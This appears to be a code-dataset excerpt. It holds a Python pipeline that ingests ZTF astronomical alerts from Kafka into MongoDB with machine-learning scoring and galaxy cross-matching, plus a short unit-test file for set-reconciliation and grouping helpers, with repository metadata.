'sfr_ha': 0, 'coordinates': {'radec_geojson': ["00:42:44.3503", "41:16:08.634"]} } M33 = {'_id': 597543, 'name': 'PGC5818', 'ra': 23.46204, 'dec': 30.66022, 'a': 2.35983, 'b2a': 0.59, 'pa': 23.0, 'sfr_fuv': None, 'mstar': 4502777.420493, 'sfr_ha': 0, 'coordinates': {'radec_geojson': ["01:33:50.8900", "30:39:36.800"]} } # do elliptical matches matches = [] for galaxy in galaxies + [M31, M33]: alpha1, delta01 = galaxy['ra'], galaxy['dec'] d0, axis_ratio, PA0 = galaxy['a'], galaxy['b2a'], galaxy['pa'] # no shape info for galaxy? replace with median values if d0 < -990: d0 = 0.0265889 if axis_ratio < -990: axis_ratio = 0.61 if PA0 < -990: PA0 = 86.0 in_galaxy = in_ellipse(ra, dec, alpha1, delta01, size_margin * d0, axis_ratio, PA0) if in_galaxy: match = galaxy distance_arcsec = round(great_circle_distance(ra, dec, alpha1, delta01) * 3600, 2) match['coordinates']['distance_arcsec'] = distance_arcsec matches.append(match) xmatches[clu_version] = matches except Exception as e: print(*time_stamps(), str(e)) return xmatches def listener(topic, bootstrap_servers='', offset_reset='earliest', group=None, path_alerts=None, path_tess=None, save_packets=True): """ Listen to a topic :param topic: :param bootstrap_servers: :param offset_reset: :param group: :param path_alerts: :return: """ # def error_cb(err): # print(*time_stamps(), 'error_cb -------->', err) # # print(err.code()) # if err.code() == -195: # print(*time_stamps(), 'got disconnected, killing thread') # sys.exit() # Configure consumer connection to Kafka broker conf = {'bootstrap.servers': bootstrap_servers, # 'error_cb': error_cb, 'default.topic.config': {'auto.offset.reset': offset_reset}} if group is not None: conf['group.id'] = group else: conf['group.id'] = os.environ['HOSTNAME'] if 'HOSTNAME' in os.environ else 'kowalski.caltech.edu' # make it unique: conf['group.id'] = '{:s}_{:s}'.format(conf['group.id'], datetime.datetime.utcnow().strftime('%Y-%m-%d_%H:%M:%S.%f')) # Configure Avro reader schema schema_files = ["ztf-avro-alert/schema/candidate.avsc", "ztf-avro-alert/schema/cutout.avsc", "ztf-avro-alert/schema/light_curve.avsc", "ztf-avro-alert/schema/alert.avsc"] # date string: datestr = topic.split('_')[1] # Start alert stream consumer stream_reader = AlertConsumer(topic, schema_files, **conf) # todo: Subscribe alert filters to stream_readers # todo: they will be notified when an alert arrived/got x-matched while True: try: # poll! # print(*time_stamps(), 'Polling') stream_reader.poll(path_alerts=path_alerts, path_tess=path_tess, datestr=datestr, save_packets=save_packets) except EopError as e: # Write when reaching end of partition # sys.stderr.write(e.message) print(*time_stamps(), e.message) except IndexError: # sys.stderr.write('%% Data cannot be decoded\n') print(*time_stamps(), '%% Data cannot be decoded\n') except UnicodeDecodeError: # sys.stderr.write('%% Unexpected data format received\n') print(*time_stamps(), '%% Unexpected data format received\n') except KeyboardInterrupt: # sys.stderr.write('%% Aborted by user\n') print(*time_stamps(), '%% Aborted by user\n') sys.exit() except Exception as e: print(*time_stamps(), str(e)) _err = traceback.format_exc() print(*time_stamps(), str(_err)) sys.exit() def main(_obs_date=None, _save_packets=True): topics_on_watch = dict() while True: try: if True: # get kafka topic names with kafka-topics command kafka_cmd = [config['kafka-topics']['cmd'], '--zookeeper', config['kafka-topics']['zookeeper'], '-list'] # print(kafka_cmd) topics = subprocess.run(kafka_cmd, stdout=subprocess.PIPE).stdout.decode('utf-8').split('\n')[:-1] # print(topics) if _obs_date is None: datestr = datetime.datetime.utcnow().strftime('%Y%m%d') else: datestr = _obs_date # as of 20180403 naming convention is ztf_%Y%m%d_programidN # topics_tonight = [t for t in topics if (datestr in t) and ('programid' in t)] # ZUDS only topics_tonight = [t for t in topics if (datestr in t) and ('programid' in t) and ('zuds' in t)] print(*time_stamps(), topics_tonight) if False: # for testing topics_tonight = ['ztf_20180604_programid3'] for t in topics_tonight: if t not in topics_on_watch: print(*time_stamps(), f'starting listener thread for {t}') offset_reset = config['kafka']['default.topic.config']['auto.offset.reset'] bootstrap_servers = config['kafka']['bootstrap.servers'] group = '{:s}'.format(config['kafka']['group']) # print(group) path_alerts = config['path']['path_alerts'] path_tess = config['path']['path_tess'] save_packets = _save_packets # topics_on_watch[t] = threading.Thread(target=listener, # args=(t, bootstrap_servers, # offset_reset, group, path_alerts)) topics_on_watch[t] = multiprocessing.Process(target=listener, args=(t, bootstrap_servers, offset_reset, group, path_alerts, path_tess, save_packets)) topics_on_watch[t].daemon = True topics_on_watch[t].start() else: print(*time_stamps(), f'performing thread health check for {t}') try: # if not topics_on_watch[t].isAlive(): if not topics_on_watch[t].is_alive(): print(*time_stamps(), f'{t} died, removing') # topics_on_watch[t].terminate() topics_on_watch.pop(t, None) else: print(*time_stamps(), f'{t} appears normal') except Exception as _e: print(*time_stamps(), 'Failed to perform health check', str(_e)) pass except Exception as e: print(*time_stamps(), str(e)) _err = traceback.format_exc() print(*time_stamps(), str(_err)) if _obs_date is None: time.sleep(300) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Fetch AVRO packets from Kafka streams and ingest them into DB') parser.add_argument('--obsdate', help='observing date') parser.add_argument('--noio', help='reduce i/o - do not save packets', action='store_true') args = parser.parse_args() obs_date = args.obsdate save = False if args.noio else True # print(obs_date) main(_obs_date=obs_date, _save_packets=save)
36.027829
120
0.539781
import argparse import os import sys import io import time import json from bson.json_util import dumps import traceback import confluent_kafka from ast import literal_eval import avro.schema import fastavro import subprocess import datetime import multiprocessing import pymongo import pytz from numba import jit import numpy as np from tensorflow.keras.models import load_model import gzip import io from astropy.io import fits from copy import deepcopy with open('/app/config.json') as cjson: config = json.load(cjson) with open('/app/secrets.json') as sjson: secrets = json.load(sjson) for k in secrets: config[k].update(secrets.get(k, {})) def utc_now(): return datetime.datetime.now(pytz.utc) def time_stamps(): return datetime.datetime.now().strftime('%Y%m%d_%H:%M:%S'), \ datetime.datetime.utcnow().strftime('%Y%m%d_%H:%M:%S') @jit def deg2hms(x): assert 0.0 <= x < 360.0, 'Bad RA value in degrees' _h = np.floor(x * 12.0 / 180.) _m = np.floor((x * 12.0 / 180. - _h) * 60.0) _s = ((x * 12.0 / 180. - _h) * 60.0 - _m) * 60.0 hms = '{:02.0f}:{:02.0f}:{:07.4f}'.format(_h, _m, _s) return hms @jit def deg2dms(x): assert -90.0 <= x <= 90.0, 'Bad Dec value in degrees' _d = np.floor(abs(x)) * np.sign(x) _m = np.floor(np.abs(x - _d) * 60.0) _s = np.abs(np.abs(x - _d) * 60.0 - _m) * 60.0 dms = '{:02.0f}:{:02.0f}:{:06.3f}'.format(_d, _m, _s) return dms @jit def great_circle_distance(ra1_deg, dec1_deg, ra2_deg, dec2_deg): DEGRA = np.pi / 180.0 ra1, dec1, ra2, dec2 = ra1_deg * DEGRA, dec1_deg * DEGRA, ra2_deg * DEGRA, dec2_deg * DEGRA delta_ra = np.abs(ra2 - ra1) distance = np.arctan2(np.sqrt((np.cos(dec2) * np.sin(delta_ra)) ** 2 + (np.cos(dec1) * np.sin(dec2) - np.sin(dec1) * np.cos(dec2) * np.cos( delta_ra)) ** 2), np.sin(dec1) * np.sin(dec2) + np.cos(dec1) * np.cos(dec2) * np.cos(delta_ra)) return distance * 180.0 / np.pi @jit def in_ellipse(alpha, delta0, alpha1, delta01, d0, axis_ratio, PA0): DEGRA = np.pi / 180.0 d_alpha = (alpha1 - alpha) * DEGRA delta1 = delta01 * DEGRA delta = delta0 * DEGRA PA = PA0 * DEGRA d = d0 * DEGRA e = np.sqrt(1.0 - axis_ratio * axis_ratio) t1 = np.cos(d_alpha) t22 = np.sin(d_alpha) t3 = np.cos(delta1) t32 = np.sin(delta1) t6 = np.cos(delta) t26 = np.sin(delta) t9 = np.cos(d) t55 = np.sin(d) if (t3 * t6 * t1 + t32 * t26) < 0: return False t2 = t1 * t1 t4 = t3 * t3 t5 = t2 * t4 t7 = t6 * t6 t8 = t5 * t7 t10 = t9 * t9 t11 = t7 * t10 t13 = np.cos(PA) t14 = t13 * t13 t15 = t14 * t10 t18 = t7 * t14 t19 = t18 * t10 t24 = np.sin(PA) t31 = t1 * t3 t36 = 2.0 * t31 * t32 * t26 * t6 t37 = t31 * t32 t38 = t26 * t6 t45 = t4 * t10 t56 = t55 * t55 t57 = t4 * t7 t60 = -t8 + t5 * t11 + 2.0 * t5 * t15 - t5 * t19 - \ 2.0 * t1 * t4 * t22 * t10 * t24 * t13 * t26 - t36 + \ 2.0 * t37 * t38 * t10 - 2.0 * t37 * t38 * t15 - t45 * t14 - t45 * t2 + \ 2.0 * t22 * t3 * t32 * t6 * t24 * t10 * t13 - t56 + t7 - t11 + t4 - t57 + t57 * t10 + t19 - t18 * t45 t61 = e * e t63 = t60 * t61 + t8 + t57 - t4 - t7 + t56 + t36 return t63 > 0 def _loadSingleAvsc(file_path, names): with open(file_path) as file_text: json_data = json.load(file_text) schema = avro.schema.SchemaFromJSONData(json_data, names) return schema def combineSchemas(schema_files): known_schemas = avro.schema.Names() for s in schema_files: schema = _loadSingleAvsc(s, known_schemas) return schema.to_json() def writeAvroData(json_data, json_schema): bytes_io = io.BytesIO() fastavro.schemaless_writer(bytes_io, json_schema, json_data) return bytes_io def readAvroData(bytes_io, json_schema): bytes_io.seek(0) message = fastavro.schemaless_reader(bytes_io, json_schema) return message def readSchemaData(bytes_io): bytes_io.seek(0) message = fastavro.reader(bytes_io) return message class AlertError(Exception): pass class EopError(AlertError): def __init__(self, msg): message = 'topic:%s, partition:%d, status:end, ' \ 'offset:%d, key:%s, time:%.3f\n' \ % (msg.topic(), msg.partition(), msg.offset(), str(msg.key()), time.time()) self.message = message def __str__(self): return self.message class AlertConsumer(object): def __init__(self, topic, schema_files=None, **kwargs): self.num_disconnected_partitions = 0 self.topic = topic def error_cb(err, _self=self): print(*time_stamps(), 'error_cb -------->', err) if err.code() == -195: _self.num_disconnected_partitions += 1 if _self.num_disconnected_partitions == _self.num_partitions: print(*time_stamps(), 'all partitions got disconnected, killing thread') sys.exit() else: print(*time_stamps(), '{:s}: disconnected from partition.'.format(_self.topic), 'total:', self.num_disconnected_partitions) kwargs['error_cb'] = error_cb self.consumer = confluent_kafka.Consumer(**kwargs) self.num_partitions = 0 def on_assign(consumer, partitions, _self=self): for part in partitions: part.offset = -2 _self.num_partitions += 1 print(consumer.get_watermark_offsets(part)) self.consumer.subscribe([topic], on_assign=on_assign) self.config = config self.collection_alerts = 'ZUDS_alerts' self.collection_alerts_aux = 'ZUDS_alerts_aux' self.db = None self.connect_to_db() self.db['db'][self.collection_alerts].create_index([('coordinates.radec_geojson', '2dsphere'), ('candid', pymongo.DESCENDING)], background=True) self.db['db'][self.collection_alerts].create_index([('coordinates.radec_geojson', '2dsphere'), ('objectId', pymongo.DESCENDING)], background=True) self.db['db'][self.collection_alerts].create_index([('objectId', pymongo.ASCENDING)], background=True) self.db['db'][self.collection_alerts].create_index([('candid', pymongo.ASCENDING)], background=True) self.db['db'][self.collection_alerts].create_index([('candidate.ztfname', pymongo.ASCENDING)], background=True) self.db['db'][self.collection_alerts].create_index([('candidate.jdstartstack', pymongo.DESCENDING), ('candidate.jdendstack', pymongo.ASCENDING)], background=True, sparse=True) self.db['db'][self.collection_alerts].create_index([('candidate.jd', pymongo.DESCENDING), ('candidate.drb', pymongo.DESCENDING), ('candid', pymongo.DESCENDING)], background=True, sparse=True) self.db['db'][self.collection_alerts].create_index([('candidate.jd', 1), ('candidate.drb', 1), ('candidate.isdiffpos', 1), ('candidate.ndethist', 1)], name='jd__braai__magpsf__isdiffpos__ndethist', background=True, sparse=True) self.ml_models = dict() for m in config['ml_models']: try: m_v = config["ml_models"][m]["version"] self.ml_models[m] = {'model': load_model(f'/app/models/{m}_{m_v}.h5'), 'version': m_v} except Exception as e: print(*time_stamps(), f'Error loading ML model {m}') traceback.print_exc() print(e) continue def connect_to_db(self): _config = self.config try: _client = pymongo.MongoClient(host=_config['database']['host'], port=_config['database']['port'], connect=False) _db = _client[_config['database']['db']] except Exception as _e: raise ConnectionRefusedError try: _db.authenticate(_config['database']['user'], _config['database']['pwd']) except Exception as _e: raise ConnectionRefusedError self.db = dict() self.db['client'] = _client self.db['db'] = _db def insert_db_entry(self, _collection=None, _db_entry=None): assert _collection is not None, 'Must specify collection' assert _db_entry is not None, 'Must specify document' try: self.db['db'][_collection].insert_one(_db_entry) except Exception as _e: print(*time_stamps(), 'Error inserting {:s} into {:s}'.format(str(_db_entry['_id']), _collection)) traceback.print_exc() print(_e) def insert_multiple_db_entries(self, _collection=None, _db_entries=None): assert _collection is not None, 'Must specify collection' assert _db_entries is not None, 'Must specify documents' try: self.db['db'][_collection].insert_many(_db_entries, ordered=False) except pymongo.errors.BulkWriteError as bwe: print(*time_stamps(), bwe.details) except Exception as _e: traceback.print_exc() print(_e) def replace_db_entry(self, _collection=None, _filter=None, _db_entry=None): assert _collection is not None, 'Must specify collection' assert _db_entry is not None, 'Must specify document' try: self.db['db'][_collection].replace_one(_filter, _db_entry, upsert=True) except Exception as _e: print(*time_stamps(), 'Error replacing {:s} in {:s}'.format(str(_db_entry['_id']), _collection)) traceback.print_exc() print(_e) @staticmethod def alert_mongify(alert): doc = dict(alert) doc['classifications'] = dict() doc['coordinates'] = {} _ra = doc['candidate']['ra'] _dec = doc['candidate']['dec'] _radec = [_ra, _dec] _radec_str = [deg2hms(_ra), deg2dms(_dec)] doc['coordinates']['radec_str'] = _radec_str _radec_geojson = [_ra - 180.0, _dec] doc['coordinates']['radec_geojson'] = {'type': 'Point', 'coordinates': _radec_geojson} light_curve = deepcopy(doc['light_curve']) doc.pop('light_curve', None) if light_curve is None: light_curve = [] for lc in light_curve: if lc['flux'] > 0: lc['mag'] = -2.5 * np.log10(lc['flux']) + lc['zp'] return doc, light_curve def poll(self, path_alerts=None, path_tess=None, datestr=None, save_packets=True): msg = self.consumer.poll() if msg is None: print(*time_stamps(), 'Caught error: msg is None') if msg.error(): print('Caught error:', msg.error()) raise EopError(msg) elif msg is not None: msg_decoded = self.decodeMessage(msg) for record in msg_decoded: candid = record['candid'] objectId = record['objectId'] print(*time_stamps(), self.topic, objectId, candid) if self.db['db'][self.collection_alerts].count_documents({'candid': candid}, limit=1) == 0: if save_packets: path_alert_dir = os.path.join(path_alerts, datestr) if not os.path.exists(path_alert_dir): os.makedirs(path_alert_dir) path_avro = os.path.join(path_alert_dir, f'{candid}.avro') print(*time_stamps(), f'saving {candid} to disk') with open(path_avro, 'wb') as f: f.write(msg.value()) alert, light_curve = self.alert_mongify(record) scores = alert_filter__ml(record, ml_models=self.ml_models) alert['classifications'] = scores print(*time_stamps(), f'ingesting {alert["candid"]} into db') self.insert_db_entry(_collection=self.collection_alerts, _db_entry=alert) light_curve = [{kk: vv for kk, vv in lc.items() if vv is not None} for lc in light_curve] if self.db['db'][self.collection_alerts_aux].count_documents({'_id': objectId}, limit=1) == 0: xmatches = alert_filter__xmatch(self.db['db'], alert) xmatches = {**xmatches, **alert_filter__xmatch_clu(self.db['db'], alert)} alert_aux = {'_id': objectId, 'cross_matches': xmatches, 'light_curve': light_curve} self.insert_db_entry(_collection=self.collection_alerts_aux, _db_entry=alert_aux) else: self.db['db'][self.collection_alerts_aux].update_one({'_id': objectId}, {'$addToSet': {'light_curve': {'$each': light_curve}}}, upsert=True) if 'TESS' in alert['candidate']['programpi']: alert['light_curve'] = light_curve xmatches = self.db['db'][self.collection_alerts_aux].find({'_id': objectId}, {'cross_matches': 1}, limit=1) xmatches = list(xmatches)[0] alert['cross_matches'] = xmatches['cross_matches'] if save_packets: path_tess_dir = os.path.join(path_tess, datestr) if not os.path.exists(path_tess_dir): os.makedirs(path_tess_dir) print(*time_stamps(), f'saving {alert["candid"]} to disk') try: with open(os.path.join(path_tess_dir, f"{alert['candid']}.json"), 'w') as f: f.write(dumps(alert)) except Exception as e: print(time_stamps(), str(e)) _err = traceback.format_exc() print(*time_stamps(), str(_err)) def decodeMessage(self, msg): message = msg.value() try: bytes_io = io.BytesIO(message) decoded_msg = readSchemaData(bytes_io) except AssertionError: bytes_io = io.BytesIO(message) decoded_msg = None except IndexError: literal_msg = literal_eval(str(message, encoding='utf-8')) bytes_io = io.BytesIO(literal_msg) decoded_msg = readSchemaData(bytes_io) except Exception: decoded_msg = message finally: return decoded_msg def msg_text(message): message_text = {k: message[k] for k in message if k not in ['cutoutDifference', 'cutoutTemplate', 'cutoutScience']} return message_text def write_stamp_file(stamp_dict, output_dir): try: filename = stamp_dict['fileName'] try: os.makedirs(output_dir) except OSError: pass out_path = os.path.join(output_dir, filename) with open(out_path, 'wb') as f: f.write(stamp_dict['stampData']) except TypeError: sys.stderr.write('%% Cannot get stamp\n') return def alert_filter(alert, stampdir=None): data = msg_text(alert) if data: print(data) if stampdir is not None: write_stamp_file( alert.get('cutoutDifference'), stampdir) write_stamp_file( alert.get('cutoutTemplate'), stampdir) write_stamp_file( alert.get('cutoutScience'), stampdir) return def make_triplet(alert, to_tpu: bool = False): cutout_dict = dict() for cutout in ('science', 'template', 'difference'): cutout_data = alert[f'cutout{cutout.capitalize()}'] with gzip.open(io.BytesIO(cutout_data), 'rb') as f: with fits.open(io.BytesIO(f.read())) as hdu: data = hdu[0].data cutout_dict[cutout] = np.nan_to_num(data) cutout_dict[cutout] /= np.linalg.norm(cutout_dict[cutout]) shape = cutout_dict[cutout].shape if shape != (63, 63): cutout_dict[cutout] = np.pad(cutout_dict[cutout], [(0, 63 - shape[0]), (0, 63 - shape[1])], mode='constant', constant_values=1e-9) triplet = np.zeros((63, 63, 3)) triplet[:, :, 0] = cutout_dict['science'] triplet[:, :, 1] = cutout_dict['template'] triplet[:, :, 2] = cutout_dict['difference'] if to_tpu: triplet = np.rint(triplet * 128 + 128).astype(np.uint8).flatten() return triplet def alert_filter__ml(alert, ml_models: dict = None): scores = dict() try: triplet = make_triplet(alert) triplets = np.expand_dims(triplet, axis=0) braai = ml_models['braai']['model'].predict(x=triplets)[0] scores['braai'] = float(braai) scores['braai_version'] = ml_models['braai']['version'] except Exception as e: print(*time_stamps(), str(e)) return scores cone_search_radius = float(config['xmatch']['cone_search_radius']) if config['xmatch']['cone_search_unit'] == 'arcsec': cone_search_radius *= np.pi / 180.0 / 3600. elif config['xmatch']['cone_search_unit'] == 'arcmin': cone_search_radius *= np.pi / 180.0 / 60. elif config['xmatch']['cone_search_unit'] == 'deg': cone_search_radius *= np.pi / 180.0 elif config['xmatch']['cone_search_unit'] == 'rad': cone_search_radius *= 1 else: raise Exception('Unknown cone search unit. Must be in [deg, rad, arcsec, arcmin]') def alert_filter__xmatch(db, alert): xmatches = dict() try: ra_geojson = float(alert['candidate']['ra']) ra_geojson -= 180.0 dec_geojson = float(alert['candidate']['dec']) for catalog in config['xmatch']['catalogs']: catalog_filter = config['xmatch']['catalogs'][catalog]['filter'] catalog_projection = config['xmatch']['catalogs'][catalog]['projection'] object_position_query = dict() object_position_query['coordinates.radec_geojson'] = { '$geoWithin': {'$centerSphere': [[ra_geojson, dec_geojson], cone_search_radius]}} s = db[catalog].find({**object_position_query, **catalog_filter}, {**catalog_projection}) xmatches[catalog] = list(s) except Exception as e: print(*time_stamps(), str(e)) return xmatches cone_search_radius_clu = 3.0 cone_search_radius_clu *= np.pi / 180.0 def alert_filter__xmatch_clu(database, alert, size_margin=3, clu_version='CLU_20190625'): xmatches = dict() try: ra = float(alert['candidate']['ra']) dec = float(alert['candidate']['dec']) ra_geojson = float(alert['candidate']['ra']) - 180.0 dec_geojson = dec catalog_filter = {} catalog_projection = {"_id": 1, "name": 1, "ra": 1, "dec": 1, "a": 1, "b2a": 1, "pa": 1, "z": 1, "sfr_fuv": 1, "mstar": 1, "sfr_ha": 1, "coordinates.radec_str": 1} object_position_query = dict() object_position_query['coordinates.radec_geojson'] = { '$geoWithin': {'$centerSphere': [[ra_geojson, dec_geojson], cone_search_radius_clu]}} s = database[clu_version].find({**object_position_query, **catalog_filter}, {**catalog_projection}) galaxies = list(s) M31 = {'_id': 596900, 'name': 'PGC2557', 'ra': 10.6847, 'dec': 41.26901, 'a': 6.35156, 'b2a': 0.32, 'pa': 35.0, 'sfr_fuv': None, 'mstar': 253816876.412914, 'sfr_ha': 0, 'coordinates': {'radec_geojson': ["00:42:44.3503", "41:16:08.634"]} } M33 = {'_id': 597543, 'name': 'PGC5818', 'ra': 23.46204, 'dec': 30.66022, 'a': 2.35983, 'b2a': 0.59, 'pa': 23.0, 'sfr_fuv': None, 'mstar': 4502777.420493, 'sfr_ha': 0, 'coordinates': {'radec_geojson': ["01:33:50.8900", "30:39:36.800"]} } matches = [] for galaxy in galaxies + [M31, M33]: alpha1, delta01 = galaxy['ra'], galaxy['dec'] d0, axis_ratio, PA0 = galaxy['a'], galaxy['b2a'], galaxy['pa'] if d0 < -990: d0 = 0.0265889 if axis_ratio < -990: axis_ratio = 0.61 if PA0 < -990: PA0 = 86.0 in_galaxy = in_ellipse(ra, dec, alpha1, delta01, size_margin * d0, axis_ratio, PA0) if in_galaxy: match = galaxy distance_arcsec = round(great_circle_distance(ra, dec, alpha1, delta01) * 3600, 2) match['coordinates']['distance_arcsec'] = distance_arcsec matches.append(match) xmatches[clu_version] = matches except Exception as e: print(*time_stamps(), str(e)) return xmatches def listener(topic, bootstrap_servers='', offset_reset='earliest', group=None, path_alerts=None, path_tess=None, save_packets=True): conf = {'bootstrap.servers': bootstrap_servers, 'default.topic.config': {'auto.offset.reset': offset_reset}} if group is not None: conf['group.id'] = group else: conf['group.id'] = os.environ['HOSTNAME'] if 'HOSTNAME' in os.environ else 'kowalski.caltech.edu' conf['group.id'] = '{:s}_{:s}'.format(conf['group.id'], datetime.datetime.utcnow().strftime('%Y-%m-%d_%H:%M:%S.%f')) schema_files = ["ztf-avro-alert/schema/candidate.avsc", "ztf-avro-alert/schema/cutout.avsc", "ztf-avro-alert/schema/light_curve.avsc", "ztf-avro-alert/schema/alert.avsc"] datestr = topic.split('_')[1] stream_reader = AlertConsumer(topic, schema_files, **conf) while True: try: stream_reader.poll(path_alerts=path_alerts, path_tess=path_tess, datestr=datestr, save_packets=save_packets) except EopError as e: print(*time_stamps(), e.message) except IndexError: print(*time_stamps(), '%% Data cannot be decoded\n') except UnicodeDecodeError: print(*time_stamps(), '%% Unexpected data format received\n') except KeyboardInterrupt: print(*time_stamps(), '%% Aborted by user\n') sys.exit() except Exception as e: print(*time_stamps(), str(e)) _err = traceback.format_exc() print(*time_stamps(), str(_err)) sys.exit() def main(_obs_date=None, _save_packets=True): topics_on_watch = dict() while True: try: if True: kafka_cmd = [config['kafka-topics']['cmd'], '--zookeeper', config['kafka-topics']['zookeeper'], '-list'] topics = subprocess.run(kafka_cmd, stdout=subprocess.PIPE).stdout.decode('utf-8').split('\n')[:-1] if _obs_date is None: datestr = datetime.datetime.utcnow().strftime('%Y%m%d') else: datestr = _obs_date topics_tonight = [t for t in topics if (datestr in t) and ('programid' in t) and ('zuds' in t)] print(*time_stamps(), topics_tonight) if False: topics_tonight = ['ztf_20180604_programid3'] for t in topics_tonight: if t not in topics_on_watch: print(*time_stamps(), f'starting listener thread for {t}') offset_reset = config['kafka']['default.topic.config']['auto.offset.reset'] bootstrap_servers = config['kafka']['bootstrap.servers'] group = '{:s}'.format(config['kafka']['group']) path_alerts = config['path']['path_alerts'] path_tess = config['path']['path_tess'] save_packets = _save_packets topics_on_watch[t] = multiprocessing.Process(target=listener, args=(t, bootstrap_servers, offset_reset, group, path_alerts, path_tess, save_packets)) topics_on_watch[t].daemon = True topics_on_watch[t].start() else: print(*time_stamps(), f'performing thread health check for {t}') try: if not topics_on_watch[t].is_alive(): print(*time_stamps(), f'{t} died, removing') topics_on_watch.pop(t, None) else: print(*time_stamps(), f'{t} appears normal') except Exception as _e: print(*time_stamps(), 'Failed to perform health check', str(_e)) pass except Exception as e: print(*time_stamps(), str(e)) _err = traceback.format_exc() print(*time_stamps(), str(_err)) if _obs_date is None: time.sleep(300) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Fetch AVRO packets from Kafka streams and ingest them into DB') parser.add_argument('--obsdate', help='observing date') parser.add_argument('--noio', help='reduce i/o - do not save packets', action='store_true') args = parser.parse_args() obs_date = args.obsdate save = False if args.noio else True main(_obs_date=obs_date, _save_packets=save)
true
true
f73d6cd897ef8812b769f1d9383c8e52951c6300
1,705
py
Python
tests/test_utils.py
nhoffman/uwgroups
fab9cb266d2e0c794370c1bdf62b26610dd33aef
[ "MIT", "Unlicense" ]
1
2018-11-30T00:43:06.000Z
2018-11-30T00:43:06.000Z
tests/test_utils.py
nhoffman/uwgroups
fab9cb266d2e0c794370c1bdf62b26610dd33aef
[ "MIT", "Unlicense" ]
2
2018-08-20T17:00:18.000Z
2018-08-27T17:30:54.000Z
tests/test_utils.py
nhoffman/uwgroups
fab9cb266d2e0c794370c1bdf62b26610dd33aef
[ "MIT", "Unlicense" ]
1
2018-08-21T15:06:54.000Z
2018-08-21T15:06:54.000Z
""" Test utils module. """ import logging from uwgroups.utils import reconcile, grouper from .__init__ import TestBase log = logging.getLogger(__name__) class TestReconcile(TestBase): def test01(self): to_add, to_remove = reconcile( current=set(), desired=set()) self.assertSetEqual(to_add, set()) self.assertSetEqual(to_remove, set()) def test02(self): to_add, to_remove = reconcile( current={'a', 'b', 'c'}, desired={'a', 'b', 'c'}) self.assertSetEqual(to_add, set()) self.assertSetEqual(to_remove, set()) def test03(self): to_add, to_remove = reconcile( current={'a', 'b', 'c'}, desired={'a', 'b'}) self.assertSetEqual(to_add, set()) self.assertSetEqual(to_remove, {'c'}) def test04(self): to_add, to_remove = reconcile( current={'a', 'b'}, desired={'a', 'b', 'c'}) self.assertSetEqual(to_add, {'c'}) self.assertSetEqual(to_remove, set()) def test05(self): to_add, to_remove = reconcile( current={'b', 'd'}, desired={'a', 'b', 'c'}) self.assertSetEqual(to_add, {'a', 'c'}) self.assertSetEqual(to_remove, {'d'}) def test06(self): self.assertRaises(TypeError, reconcile, set(), []) class TestGrouper(TestBase): def test01(self): items = list(range(10)) chunks = list(grouper(items, 4)) self.assertEqual(chunks[-1], (8, 9)) def test02(self): items = list(range(10)) chunks = list(grouper(items, 4, fill=True)) self.assertEqual(chunks[-1], (8, 9, None, None))
25.073529
58
0.556012
import logging from uwgroups.utils import reconcile, grouper from .__init__ import TestBase log = logging.getLogger(__name__) class TestReconcile(TestBase): def test01(self): to_add, to_remove = reconcile( current=set(), desired=set()) self.assertSetEqual(to_add, set()) self.assertSetEqual(to_remove, set()) def test02(self): to_add, to_remove = reconcile( current={'a', 'b', 'c'}, desired={'a', 'b', 'c'}) self.assertSetEqual(to_add, set()) self.assertSetEqual(to_remove, set()) def test03(self): to_add, to_remove = reconcile( current={'a', 'b', 'c'}, desired={'a', 'b'}) self.assertSetEqual(to_add, set()) self.assertSetEqual(to_remove, {'c'}) def test04(self): to_add, to_remove = reconcile( current={'a', 'b'}, desired={'a', 'b', 'c'}) self.assertSetEqual(to_add, {'c'}) self.assertSetEqual(to_remove, set()) def test05(self): to_add, to_remove = reconcile( current={'b', 'd'}, desired={'a', 'b', 'c'}) self.assertSetEqual(to_add, {'a', 'c'}) self.assertSetEqual(to_remove, {'d'}) def test06(self): self.assertRaises(TypeError, reconcile, set(), []) class TestGrouper(TestBase): def test01(self): items = list(range(10)) chunks = list(grouper(items, 4)) self.assertEqual(chunks[-1], (8, 9)) def test02(self): items = list(range(10)) chunks = list(grouper(items, 4, fill=True)) self.assertEqual(chunks[-1], (8, 9, None, None))
true
true
f73d6cfb87fbb21ee85c9cb6b53f48624e6c46e7
809
py
Python
StartPython.py
rghvat/-TitlePython-Programming-A-Concise-Introduction
70019b068b44fa961d4a398b5836d2ebba00ea12
[ "BSD-3-Clause" ]
null
null
null
StartPython.py
rghvat/-TitlePython-Programming-A-Concise-Introduction
70019b068b44fa961d4a398b5836d2ebba00ea12
[ "BSD-3-Clause" ]
null
null
null
StartPython.py
rghvat/-TitlePython-Programming-A-Concise-Introduction
70019b068b44fa961d4a398b5836d2ebba00ea12
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Fri Jul 16 08:10:35 2021 @author: RAGHAV ATREYA """ # -StartPython.py *- coding: utf-8 -*- """ Spyder Editor #%% starts a new cell. Use second green triangle to run just the cell that your mouse has last clicked in (or Ctrl-Enter on a PC or Command-Return on a Macintosh or Menu>Run>Run Cell) """ #%% def hello(): print("Hello, world!") #%% def myname(): print("My name is Bill") #%% def ourschool(): print("Coursera is our school") #%% """ This will run forever. In this case Ctrl-C will stop it, but sometimes that doesn't work. In that case, click away IP Console to stop; click yes to kill kernel. Open a new IPConsole on the Console menu to restart """ #%% def forever(): while True: pass #%% hello() myname() ourschool()
19.731707
77
0.646477
def hello(): print("Hello, world!") def myname(): print("My name is Bill") def ourschool(): print("Coursera is our school") def forever(): while True: pass hello() myname() ourschool()
true
true
f73d6d4923b15b74cc505745ab7cc9ac98401729
13,102
py
Python
cirq/google/api/v1/programs.py
jshede/Cirq
5db0f6aa8c009735a9ce0b0b7909ffe2532c396d
[ "Apache-2.0" ]
null
null
null
cirq/google/api/v1/programs.py
jshede/Cirq
5db0f6aa8c009735a9ce0b0b7909ffe2532c396d
[ "Apache-2.0" ]
null
null
null
cirq/google/api/v1/programs.py
jshede/Cirq
5db0f6aa8c009735a9ce0b0b7909ffe2532c396d
[ "Apache-2.0" ]
1
2018-10-25T19:36:50.000Z
2018-10-25T19:36:50.000Z
